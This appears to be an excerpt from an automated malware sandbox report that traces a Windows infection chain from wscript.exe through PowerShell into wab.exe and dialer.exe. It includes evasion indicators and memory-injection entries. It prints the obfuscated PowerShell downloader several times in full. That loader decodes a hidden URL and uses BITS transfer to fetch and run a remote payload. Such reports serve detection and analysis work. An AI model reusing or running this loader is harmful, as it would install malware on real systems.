Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000005.00000002.2612726762.000001F91DA40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2612780417.000001F91DA54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2611045679.000001F91842B000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000008.00000002.1771543069.0000000007528000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000008.00000002.1771543069.0000000007581000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\dialer.exe

Code function: 10_3_02CA027F mov eax, dword ptr fs:[00000030h]

10_3_02CA027F

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 3AF0000			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 287FA38			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "function opinions ($sold){for($peder=7; $peder -lt $sold.length-1; $peder+=8){ $becifr20+=$sold.substring($peder, 1);}$becifr20;}$becifr2001=opinions 'udkonkuirecomple chilidxclubbin ';$becifr2002=opinions 'metrenetskryderrfokusera nonappn buckarsaldehydfcitatioe stupidrtrykkerrfollicuiforkontn inddelg ghostl ';function folkemund ($kvke){& ($becifr2001) ($kvke);}$eksped=opinions ' splitfhhighbrot querimtmyrsiphpaymissastrilloe:hjemmeh/ artens/crescogwbevogtew unpanewtristra. vokslya godkensbedeviltergograefiligranplanlgntemhtteoedennisgrhuldsagpniveauorinsectoivalentisinspmiserrigeresfudderl.infantec skabekoheliconmskillev.raderinp maaneskupaavir/starkesm kolonisalungar/ babkasnbastideofoedselnindtgtsn atombo2svogers1 duelbe5aabenhe.metrummppapirperdesignlmworsset ';$becifr2000=opinions 'buldogg$psychoagsaxofonl throbloafhuggcbtrichopa roduddl bighte:unthroat embrasalissomnckeglestktombololsolutioe overrostjenestskvllereeerklaer2 pastic2tilsprg1ohmensd8afsvkke hmskoen=diacety privatesbeneceptpentaplahvedomrrmerotomtreserve-reductibreautheimegaloctaffixiasfinlndetushabtirintrabrakompagnnmaimoniskavalerfsekundoeocotillrpatrulj daadyre-outdegrsmindediosteropeuennoblerproportcfornrmee gaases inhomog$tripennegelatinkparoxysslommenspgropedoepilenhjdmonopol mellemm-pastoradbrndboreforfrersunderfothurtigri geissonflabbieapeculiatunfelinimusicalofeminolnvuggevi engarba$tekstretbolsjevafilmfrocflinchekwindsurlgumpekaecustomissvirrefsoprikkee datako2svingni2 system1gracise2 memora ';folkemund (opinions 'oliearb$thermotgsvindlelaffatteoblgenexbparadigamrkbareldelouse: kvindetbivognra pectinc nonbudkbiindtglplanishecryptocsovervinsbootstretelangi2svejser2notewis1omstnin2fugleko=mandler$murkronevenskabnstandarvdemenss:kladdebaspiritup hdersppbandernd cybelea frisketoscularaelkhorn ') ;folkemund (opinions 'vesperticanamoam podophp raketvoporionsrforstant dimnaf- sprayembevrtnioprogramdtrepaneubesiegelbygninge fodred hematocb coupeeistambortdameskrscartogrthawsepirtyvekroa skrivenflaadeos metrecf serrate sluknirhypochn ') ;$tacklesse2212=$tacklesse2212+'\inte.reg' ;folkemund (opinions ' swazil$livligegcyclohel dartleo paternb thengeasorehealpolrtch:boligmitdecolouarevanchcnonconfkformatklivorineecoactivs nailapshereditemoorman2sagvold2hertugd1langtur7otectom=eventua(heterogtpikakefenydannesudmajnitundlade-ultramapwarlockanymphomtverdenehcricket concept$fagbevgt acetaraamminoscheniquekregnefuluninvadekonfliksenchases bestaneinflowe2potrero2 satsbi1rillsto2grafolo)beholde ') ;while (-not $tacklesse2217) {folkemund (opinions 'haandboi kehoeifontocyc parachu( fortst$guisardtprimtalasammenscgrittedkakademilwitnessesynanthspantheisbegramsedagtyve2ludebro2mostere1vejledn8henlgge.hestehajbarselsodscommub trgrnosomsadlitfishetkalevittet interseridicul impossi- decubieargumenqforeskr kontrol$brasenebmaglemoehyppigecteodiczi kuskecfallehelrleguage2 tak
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function opinions ($sold){for($peder=7; $peder -lt $sold.length-1; $peder+=8){ $becifr20+=$sold.substring($peder, 1);}$becifr20;}$becifr2001=opinions 'udkonkuirecomple chilidxclubbin ';$becifr2002=opinions 'metrenetskryderrfokusera nonappn buckarsaldehydfcitatioe stupidrtrykkerrfollicuiforkontn inddelg ghostl ';function folkemund ($kvke){& ($becifr2001) ($kvke);}$eksped=opinions ' splitfhhighbrot querimtmyrsiphpaymissastrilloe:hjemmeh/ artens/crescogwbevogtew unpanewtristra. vokslya godkensbedeviltergograefiligranplanlgntemhtteoedennisgrhuldsagpniveauorinsectoivalentisinspmiserrigeresfudderl.infantec skabekoheliconmskillev.raderinp maaneskupaavir/starkesm kolonisalungar/ babkasnbastideofoedselnindtgtsn atombo2svogers1 duelbe5aabenhe.metrummppapirperdesignlmworsset ';$becifr2000=opinions 'buldogg$psychoagsaxofonl throbloafhuggcbtrichopa roduddl bighte:unthroat embrasalissomnckeglestktombololsolutioe overrostjenestskvllereeerklaer2 pastic2tilsprg1ohmensd8afsvkke hmskoen=diacety privatesbeneceptpentaplahvedomrrmerotomtreserve-reductibreautheimegaloctaffixiasfinlndetushabtirintrabrakompagnnmaimoniskavalerfsekundoeocotillrpatrulj daadyre-outdegrsmindediosteropeuennoblerproportcfornrmee gaases inhomog$tripennegelatinkparoxysslommenspgropedoepilenhjdmonopol mellemm-pastoradbrndboreforfrersunderfothurtigri geissonflabbieapeculiatunfelinimusicalofeminolnvuggevi engarba$tekstretbolsjevafilmfrocflinchekwindsurlgumpekaecustomissvirrefsoprikkee datako2svingni2 system1gracise2 memora ';folkemund (opinions 'oliearb$thermotgsvindlelaffatteoblgenexbparadigamrkbareldelouse: kvindetbivognra pectinc nonbudkbiindtglplanishecryptocsovervinsbootstretelangi2svejser2notewis1omstnin2fugleko=mandler$murkronevenskabnstandarvdemenss:kladdebaspiritup hdersppbandernd cybelea frisketoscularaelkhorn ') ;folkemund (opinions 'vesperticanamoam podophp raketvoporionsrforstant dimnaf- sprayembevrtnioprogramdtrepaneubesiegelbygninge fodred hematocb coupeeistambortdameskrscartogrthawsepirtyvekroa skrivenflaadeos metrecf serrate sluknirhypochn ') ;$tacklesse2212=$tacklesse2212+'\inte.reg' ;folkemund (opinions ' swazil$livligegcyclohel dartleo paternb thengeasorehealpolrtch:boligmitdecolouarevanchcnonconfkformatklivorineecoactivs nailapshereditemoorman2sagvold2hertugd1langtur7otectom=eventua(heterogtpikakefenydannesudmajnitundlade-ultramapwarlockanymphomtverdenehcricket concept$fagbevgt acetaraamminoscheniquekregnefuluninvadekonfliksenchases bestaneinflowe2potrero2 satsbi1rillsto2grafolo)beholde ') ;while (-not $tacklesse2217) {folkemund (opinions 'haandboi kehoeifontocyc parachu( fortst$guisardtprimtalasammenscgrittedkakademilwitnessesynanthspantheisbegramsedagtyve2ludebro2mostere1vejledn8henlgge.hestehajbarselsodscommub trgrnosomsadlitfishetkalevittet interseridicul impossi- decubieargumenqforeskr kontrol$brasenebmaglemoehyppigecteodiczi kuskecfallehelrleguage2 tak
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "function opinions ($sold){for($peder=7; $peder -lt $sold.length-1; $peder+=8){ $becifr20+=$sold.substring($peder, 1);}$becifr20;}$becifr2001=opinions 'udkonkuirecomple chilidxclubbin ';$becifr2002=opinions 'metrenetskryderrfokusera nonappn buckarsaldehydfcitatioe stupidrtrykkerrfollicuiforkontn inddelg ghostl ';function folkemund ($kvke){& ($becifr2001) ($kvke);}$eksped=opinions ' splitfhhighbrot querimtmyrsiphpaymissastrilloe:hjemmeh/ artens/crescogwbevogtew unpanewtristra. vokslya godkensbedeviltergograefiligranplanlgntemhtteoedennisgrhuldsagpniveauorinsectoivalentisinspmiserrigeresfudderl.infantec skabekoheliconmskillev.raderinp maaneskupaavir/starkesm kolonisalungar/ babkasnbastideofoedselnindtgtsn atombo2svogers1 duelbe5aabenhe.metrummppapirperdesignlmworsset ';$becifr2000=opinions 'buldogg$psychoagsaxofonl throbloafhuggcbtrichopa roduddl bighte:unthroat embrasalissomnckeglestktombololsolutioe overrostjenestskvllereeerklaer2 pastic2tilsprg1ohmensd8afsvkke hmskoen=diacety privatesbeneceptpentaplahvedomrrmerotomtreserve-reductibreautheimegaloctaffixiasfinlndetushabtirintrabrakompagnnmaimoniskavalerfsekundoeocotillrpatrulj daadyre-outdegrsmindediosteropeuennoblerproportcfornrmee gaases inhomog$tripennegelatinkparoxysslommenspgropedoepilenhjdmonopol mellemm-pastoradbrndboreforfrersunderfothurtigri geissonflabbieapeculiatunfelinimusicalofeminolnvuggevi engarba$tekstretbolsjevafilmfrocflinchekwindsurlgumpekaecustomissvirrefsoprikkee datako2svingni2 system1gracise2 memora ';folkemund (opinions 'oliearb$thermotgsvindlelaffatteoblgenexbparadigamrkbareldelouse: kvindetbivognra pectinc nonbudkbiindtglplanishecryptocsovervinsbootstretelangi2svejser2notewis1omstnin2fugleko=mandler$murkronevenskabnstandarvdemenss:kladdebaspiritup hdersppbandernd cybelea frisketoscularaelkhorn ') ;folkemund (opinions 'vesperticanamoam podophp raketvoporionsrforstant dimnaf- sprayembevrtnioprogramdtrepaneubesiegelbygninge fodred hematocb coupeeistambortdameskrscartogrthawsepirtyvekroa skrivenflaadeos metrecf serrate sluknirhypochn ') ;$tacklesse2212=$tacklesse2212+'\inte.reg' ;folkemund (opinions ' swazil$livligegcyclohel dartleo paternb thengeasorehealpolrtch:boligmitdecolouarevanchcnonconfkformatklivorineecoactivs nailapshereditemoorman2sagvold2hertugd1langtur7otectom=eventua(heterogtpikakefenydannesudmajnitundlade-ultramapwarlockanymphomtverdenehcricket concept$fagbevgt acetaraamminoscheniquekregnefuluninvadekonfliksenchases bestaneinflowe2potrero2 satsbi1rillsto2grafolo)beholde ') ;while (-not $tacklesse2217) {folkemund (opinions 'haandboi kehoeifontocyc parachu( fortst$guisardtprimtalasammenscgrittedkakademilwitnessesynanthspantheisbegramsedagtyve2ludebro2mostere1vejledn8henlgge.hestehajbarselsodscommub trgrnosomsadlitfishetkalevittet interseridicul impossi- decubieargumenqforeskr kontrol$brasenebmaglemoehyppigecteodiczi kuskecfallehelrleguage2 tak	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function opinions ($sold){for($peder=7; $peder -lt $sold.length-1; $peder+=8){ $becifr20+=$sold.substring($peder, 1);}$becifr20;}$becifr2001=opinions 'udkonkuirecomple chilidxclubbin ';$becifr2002=opinions 'metrenetskryderrfokusera nonappn buckarsaldehydfcitatioe stupidrtrykkerrfollicuiforkontn inddelg ghostl ';function folkemund ($kvke){& ($becifr2001) ($kvke);}$eksped=opinions ' splitfhhighbrot querimtmyrsiphpaymissastrilloe:hjemmeh/ artens/crescogwbevogtew unpanewtristra. vokslya godkensbedeviltergograefiligranplanlgntemhtteoedennisgrhuldsagpniveauorinsectoivalentisinspmiserrigeresfudderl.infantec skabekoheliconmskillev.raderinp maaneskupaavir/starkesm kolonisalungar/ babkasnbastideofoedselnindtgtsn atombo2svogers1 duelbe5aabenhe.metrummppapirperdesignlmworsset ';$becifr2000=opinions 'buldogg$psychoagsaxofonl throbloafhuggcbtrichopa roduddl bighte:unthroat embrasalissomnckeglestktombololsolutioe overrostjenestskvllereeerklaer2 pastic2tilsprg1ohmensd8afsvkke hmskoen=diacety privatesbeneceptpentaplahvedomrrmerotomtreserve-reductibreautheimegaloctaffixiasfinlndetushabtirintrabrakompagnnmaimoniskavalerfsekundoeocotillrpatrulj daadyre-outdegrsmindediosteropeuennoblerproportcfornrmee gaases inhomog$tripennegelatinkparoxysslommenspgropedoepilenhjdmonopol mellemm-pastoradbrndboreforfrersunderfothurtigri geissonflabbieapeculiatunfelinimusicalofeminolnvuggevi engarba$tekstretbolsjevafilmfrocflinchekwindsurlgumpekaecustomissvirrefsoprikkee datako2svingni2 system1gracise2 memora ';folkemund (opinions 'oliearb$thermotgsvindlelaffatteoblgenexbparadigamrkbareldelouse: kvindetbivognra pectinc nonbudkbiindtglplanishecryptocsovervinsbootstretelangi2svejser2notewis1omstnin2fugleko=mandler$murkronevenskabnstandarvdemenss:kladdebaspiritup hdersppbandernd cybelea frisketoscularaelkhorn ') ;folkemund (opinions 'vesperticanamoam podophp raketvoporionsrforstant dimnaf- sprayembevrtnioprogramdtrepaneubesiegelbygninge fodred hematocb coupeeistambortdameskrscartogrthawsepirtyvekroa skrivenflaadeos metrecf serrate sluknirhypochn ') ;$tacklesse2212=$tacklesse2212+'\inte.reg' ;folkemund (opinions ' swazil$livligegcyclohel dartleo paternb thengeasorehealpolrtch:boligmitdecolouarevanchcnonconfkformatklivorineecoactivs nailapshereditemoorman2sagvold2hertugd1langtur7otectom=eventua(heterogtpikakefenydannesudmajnitundlade-ultramapwarlockanymphomtverdenehcricket concept$fagbevgt acetaraamminoscheniquekregnefuluninvadekonfliksenchases bestaneinflowe2potrero2 satsbi1rillsto2grafolo)beholde ') ;while (-not $tacklesse2217) {folkemund (opinions 'haandboi kehoeifontocyc parachu( fortst$guisardtprimtalasammenscgrittedkakademilwitnessesynanthspantheisbegramsedagtyve2ludebro2mostere1vejledn8henlgge.hestehajbarselsodscommub trgrnosomsadlitfishetkalevittet interseridicul impossi- decubieargumenqforeskr kontrol$brasenebmaglemoehyppigecteodiczi kuskecfallehelrleguage2 tak	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.BackgroundIntelligentTransfer.Management.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
